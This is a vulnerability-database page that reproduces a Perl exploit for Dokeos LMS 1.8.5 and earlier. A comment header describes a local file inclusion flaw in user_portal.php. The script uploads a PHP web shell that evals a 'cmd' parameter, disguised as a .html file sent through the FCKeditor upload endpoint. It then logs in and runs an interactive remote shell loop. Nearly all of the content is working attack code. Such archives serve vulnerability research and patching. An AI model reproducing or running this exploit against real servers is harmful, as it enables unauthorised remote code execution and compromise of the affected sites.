Lucene search
K

Dokeos LMS <= 1.8.5 (include) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 25 Views

Dokeos LMS 1.8.5 "include" Remote Code Executio

Code

                                                #!/usr/bin/perl
#
# Dokeos LMS &#60;= 1.8.5 &#34;include&#34; Remote Code Execution Exploit
# 
# Description
# ---------------------------------------------------------------
# Dokeos LMS contains one flaw that allows an attacker to include
# a local file with &#34;html&#34; extension. 
# The issue is due to &#39;user_portal.php&#39; script not properly
# sanitizing user input supplied to the &#39;include&#39; GET variable.
# ---------------------------------------------------------------
# Code Details (user_portal.php Line 770 - 774)
# ---------------------------------------------------------------
# if (!empty ($_GET[&#39;include&#39;]) && !strstr($_GET[&#39;include&#39;], &#39;/&#39;) 
# && strstr($_GET[&#39;include&#39;], &#39;.html&#39;))
# 
# {
#       include (&#39;./home/&#39;.$_GET[&#39;include&#39;]);
#	$pageIncluded = true;
#  }
# ---------------------------------------------------------------
# As you can see,it&#39;s possible to include files with &#34;html&#34; ext
# and &#34;/&#34; isn&#39;t allowed,seems be a valid fix.It&#39;s useless on win
# because you can use &#34;\&#34; to change directory.
# This LFI is useful because in Dokeos LMS fckeditor exists in
# /main/inc/lib/fckeditor/editor/filemanager/upload/php/upload.php
# you can upload a file with &#34;.html&#34; extension. You&#39;ll have a rce
# 
# Example: user_portal.php?include=..\main\upload\[FILE].html
# it works regardless of php.ini settings on windows system only
# ---------------------------------------------------------------
# Thanks to Aquilo of http://zeroidentity.org - and #zeroidentity
# ---------------------------------------------------------------
# http://www.youtube.com/watch?v=JxZcFArCeKs english 
# http://www.youtube.com/watch?v=txY52DTtFhQ italian
# ---------------------------------------------------------------
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it
# ---------------------------------------------------------------

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;


my ($host,$path,$user,$pass) = @ARGV;

if (@ARGV &#60; 4) {
      print &#34;Dokeos LMS &#60;= 1.8.5 Remote Code Execution Exploit\n&#34;;
      x__usage();
}
      

do_exploit();
                               

sub shell_up()
{ 
       my ($data,$packet,$result);
       
       my $vector = chr(45) x27;
       my $socket = new IO::Socket::INET(
                                          PeerAddr =&#62; $host,
                                          PeerPort =&#62; 80,
                                          Proto    =&#62; &#39;tcp&#39;,
                                        ) or die $!;
        
       
       $data .= $vector.&#34;--uploading\r\n&#34;;
       $data .= &#34;Content-Disposition: form-data; name=\&#34;NewFile\&#34;; filename=\&#34;yeat.html\&#34;\r\n&#34;;
       $data .= &#34;Content-Type: unknown/unknown\r\n\r\n&#34;;
       $data .= &#34;&#60;?php error_reporting(E_ALL); if(isset(\$_GET[&#39;cmd&#39;])){die(eval(stripslashes(\$_GET[&#39;cmd&#39;])));} ?&#62;\r\n&#34;;
       $data .= $vector.&#34;--uploading--\r\n&#34;;

       $packet .= &#34;POST $path/main/inc/lib/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n&#34;;
       $packet .= &#34;Content-Type: multipart/form-data; boundary=&#34;.$vector.&#34;uploading\r\n&#34;;
       $packet .= &#34;Host: $host\r\n&#34;;
       $packet .= &#34;User-Agent :Lynx (textmode)\r\n&#34;;
       $packet .= &#34;Content-Length: &#34;.length($data).&#34;\r\n&#34;;
       $packet .= &#34;Connection: Close\r\n\r\n&#34;;
       $packet .= $data;

       $socket-&#62;send($packet);

       foreach $result (&#60;$socket&#62;) { 
             
             if ($result =~ /OnUploadCompleted\(0,&#34;(.+?)&#34;/i) {
                   return $1;
             }
       }                
}


sub do_exploit()
{
       my ($_riot,$shell,$cmd,$login);
       
       my $cookie = new HTTP::Cookies  || die $!;
       my $sock_u = new LWP::UserAgent || die $!;
       
       $sock_u-&#62;cookie_jar($cookie);                             
       $sock_u-&#62;agent(&#39;Lynx (textmode)&#39;);
       $sock_u-&#62;timeout(5);
       
       $_riot = shell_up() =~ /upload\/(.*)/i ? $1 : 0;
           
       $login = $sock_u-&#62;post(&#34;http://$host/$path/index.php&#34;,
                           [ 
                             login =&#62; $user,
                             password =&#62; $pass,
                             submitAuth =&#62; &#39;Confirm&#39;,
                           ]) || die $!;
       
       unless ($login-&#62;content =~ /class=&#34;logout&#34;/i) {
          die(&#34;Login failed..\n&#34;);
       }   
                           
      
       while (1) {
             print &#34;\nyeat[shell]:~\$ &#34;;
          
             chomp($cmd = &#60;STDIN&#62;);
          
             if ($cmd !~ /^exit+$/i) {
                   $shell = $sock_u-&#62;get(&#34;http://$host/$path/user_portal.php?include=..\\main\\upload\\$_riot&cmd=$cmd&#34;);
                  
                   if ($shell-&#62;content =~ /&#60;div class=&#34;maincontent&#34;&#62;(.*)/i) {
                         print $1;
                   }  
                   else {
                         print &#34;No output here..\n&#34;;
                   }           
             }
             else {
                die(&#34;Exited successful..\n&#34;);
             }         
      }
}
      

sub x__usage()
{
       print &#34;Usage: perl xpl.pl host /path/ username password\n&#34;;
       print &#34;RunEx: perl localhost /dokeos/ yeat anarchy\n&#34;;
       exit;
}       

# milw0rm.com [2009-04-22]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation